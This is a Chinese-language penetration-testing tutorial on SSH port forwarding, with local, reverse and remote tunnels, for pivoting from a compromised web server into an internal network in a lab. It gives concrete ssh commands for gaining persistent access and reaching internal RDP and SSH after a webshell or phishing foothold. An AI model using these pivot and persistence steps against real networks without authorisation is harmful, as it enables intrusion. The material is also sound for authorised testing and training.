内网隧道代理技术(三)之使用SSH端口转发
使用SSH端口转发
SSH介绍
SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能
SSH转发常用的参数介绍:
参数 | 作用 |
---|---|
-C | 请求压缩所有数据 |
-D | 动态转发、即socks代理 |
-f | 后台执行SSH指令 |
-g | 允许远程主机连接主机的转发端口 |
-L | 本地转发 |
-N | 不执行远程指令,处于等待状态 |
-R | 远程转发 |
一、本地转发(正向访问A)
实验场景
现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的SSH命令进行端口转发访问机器C
1、以下是实验环境拓扑图:
实验环境
实验机器的信息如下:
机器名字 | 机器IP | 机器类型 |
---|---|---|
攻击机器A | 192.168.0.112 | win11 |
官网机器B | 192.168.198.130/192.168.164.130 | kali |
内网机器C | 192.168.164.129 | win10 |
网络情况如下:
A可以访问B
B可以访问C
A不能访问C
实验步骤
1、使用webshell或者其他其他的方式连接到B机器
2、使用SSH转发的命令进行转发
ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP
例如: ssh -CfNg -L 3333:192.168.164.129:3389 192.168.198.130,然后输入kali的密码即可
3、使用攻击机器A访问192.168.198.130官网机器B的3333端口就可以访问内网机器C的3389端口
4、然后输入账户密码和凭据,我们就成功使用攻击机器A远程登陆了内网机器C
二、SSH做反向隧道(远程端口转发)
实验场景
现在我们有这么一个环境,我们拿到了官网机器B的权限,并通过官网机器B进一步内网渗透,拿到了内网机器C的权限。但是现在我们想要在自己的攻击机器A上,获取内网机器C的一个稳定持久的SSH权限。那么,我们可以通过SSH反向隧道,来得到内网机器C的一个SSH权限。我们可以将内网机器C的22端口远程转发到官网机器B的1234端口
通俗地说,就是在内网机器C上做到官网机器B的反向代理;然后在官网机器B上做正向代理实现远程端口的转发
实验环境
实验机器的信息如下:
注意:这里官网机器B和内网机器C都必须是Linux系统,才能建立SSH隧道
机器名字 | 机器IP | 机器类型 |
---|---|---|
攻击机器A | 192.168.0.112 | win11 |
官网机器B | 192.168.198.130/192.168.164.131 | kali |
内网机器C | 192.168.164.130 | kali |
实验步骤
1、首先,我们通过一些手段控制并连接了内网机器C
2、接着在内网机器C上操作如下的命令输入kali机器的密码
#反向代理,意思就是将机器C的22号端口的流量都转发给B机器的8888端口
ssh -fCNR 192.168.164.131:8888:localhost:22 root@192.168.164.131
3、在官网机器B上执行如下的转发命令,然后输入kali机器的密码
#正向代理 ,意思就是将本地监听的1234端口的流量都转发给本地的8888端口
ssh -fCNL *:1234:localhost:8888 localhost
4、接着,在攻击机器A的操作,通过ssh官网机器B的1234端口实现ssh登录内网机器C的22号端口
ssh -p 1234 root@192.168.198.130
所以最终流量的走向是这样的:黑客SSH到官网机器B的1234端口,官网机器B监听了本地的1234端口,将流量转发到本地的8888端口,于是内网机器C将本地的22号端口反向代理到了官网机器B的8888端口,官网机器B又将8888端口的流量转发到了本地的1234端口,所以黑客SSH连接到了内网机器C。
三、远程转发(反向访问A)
实验场景
攻击机者已经拿下了官网机器B 但是因为是内网机器所以无法直接访问,同时无法访问内网机器C,但是因为官网机器B有ssh,所以我们使用远程转发
以下是实验环境拓扑图:
实验环境
实验机器的信息如下:
机器名字 | 机器IP | 机器类型 |
---|---|---|
攻击机器A | 192.168.0.115 | kali |
官网机器B | 192.168.198.130/192.168.164.131 | kali |
内网机器C | 192.168.164.130 | kali |
网络情况如下:
B可以访问A
B可以访问C
A访问不了B
实验步骤
1、通过反向连接(钓鱼)的方式连入公司的网络,获得了官网机器B的权限
2、在官网机器B上执行如下的转发命令
ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
例如: ssh -CfNg -R 3333:192.168.164.130:22 192.168.0.115 然后输入kali的密码即可
3、然后在攻击机器A上访问本地的3333端口就可以了,然后输入kali的密码就可以了
ssh root@127.0.0.1 -p 3333